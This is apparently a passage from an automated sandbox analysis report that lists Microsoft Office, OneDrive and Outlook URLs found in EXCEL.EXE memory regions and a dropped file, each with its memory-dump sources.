String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdatedh
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://onedrive.live.com
Source: EXCEL.EXE, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=falseu4
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.com/embed?Z
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.com11
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.comOneDriveLogUploadServicehttps://storage.live.com/clientlogs/uploadlocationM
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://osi.office.net
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://osi.office.netNA
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://osi.office.netst
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://otelrules.azureedge.net
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://outlook.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office.com)8
Source: EXCEL.EXE, 00000000.00000003.712956120.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844792206.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980144579.000000000D3B2000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656130823.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885932857.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830927828.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843000292.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728531297.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792438393.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829149171.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843806955.0000000012A43000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://outlook.office.com/
Source: EXCEL.EXE, 00000000.00000003.830019835.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887114579.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792860605.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844384510.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.976497308.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.846187037.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847870583.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831076747.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728160281.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843428711.000000000F1AC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office.comR87
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office.comiUrl
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://outlook.office365.com
Source: EXCEL.EXE, 00000000.00000003.712956120.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844792206.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980144579.000000000D3B2000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656130823.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885932857.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830927828.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843000292.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728531297.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792438393.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829149171.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843806955.0000000012A43000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://outlook.office365.com/
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office365.com/B
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.&F
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.jsonsP
